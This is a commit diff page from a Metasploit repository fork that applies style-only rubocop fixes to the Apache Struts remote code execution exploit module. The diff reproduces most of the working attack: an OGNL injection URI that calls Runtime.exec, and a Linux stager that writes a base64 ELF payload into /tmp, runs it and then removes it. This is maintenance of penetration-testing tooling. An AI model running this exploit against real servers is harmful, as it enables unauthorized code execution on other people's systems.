adam/metasploit-gs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Mass rubocop changes

Browse Source
This commit is contained in:
Spencer McIntyre
2025-12-17 17:11:13 -05:00
parent d4b196b309
commit 602adeb4c5
237 changed files with 4505 additions and 4446 deletions
Download Patch File Download Diff File Expand all files Collapse all files
modules/exploits/multi/http/struts_code_exec.rb
+17 -17
View File
@@ -65,35 +65,35 @@ class MetasploitModule < Msf::Exploit::Remote
register_options(
[
Opt::RPORT(8080),
OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', '']),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', '' ])
]
)
self.needs_cleanup = true
end
def execute_command(cmd, opts = {})
def execute_command(cmd, _opts = {})
uri = normalize_uri(datastore['URI'])
uri = Rex::Text::uri_encode(uri)
uri = Rex::Text.uri_encode(uri)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(2)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
rand_text_alpha_lower(4)
uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
uri.gsub!(/CMD/, Rex::Text.uri_encode(cmd))
vprint_status("Attempting to execute: #{cmd}")
resp = send_request_raw({
send_request_raw({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
'method' => 'GET'
}, 5)
end
@@ -103,19 +103,19 @@ class MetasploitModule < Msf::Exploit::Remote
execute_cmdstager({ temp: '.', tftphost: tftphost })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
print_status('Attempting to execute the payload...')
execute_command(@payload_exe)
end
def linux_stager
cmds = "/bin/sh@-c@echo LINE | tee FILE"
cmds = '/bin/sh@-c@echo LINE | tee FILE'
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4 + rand(4))
base64.gsub!(/=/, '\\u003d')
file = rand_text_alphanumeric(rand(4..7))
execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
cmds.gsub!(/FILE/, '/tmp/' + file + '.b64')
base64.each_line do |line|
line.chomp!
cmd = cmds
@@ -128,22 +128,22 @@ class MetasploitModule < Msf::Exploit::Remote
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")
execute_command("/bin/sh@-c@/tmp/#{file}")
@payload_exe = "/tmp/" + file
@payload_exe = '/tmp/' + file
end
def on_new_session(client)
def on_new_session(_client)
if target['Platform'] == 'linux'
print_warning("Deleting #{@payload_exe} payload file")
execute_command("/bin/sh@-c@rm #{@payload_exe}")
else
print_status("Windows does not allow running executables to be deleted")
print_status('Windows does not allow running executables to be deleted')
print_status("Delete the #{@payload_exe} file manually after migrating")
end
end
def exploit
unless datastore['CMD'].blank?
print_status("Executing user supplied command")
print_status('Executing user supplied command')
execute_command(datastore['CMD'])
return
end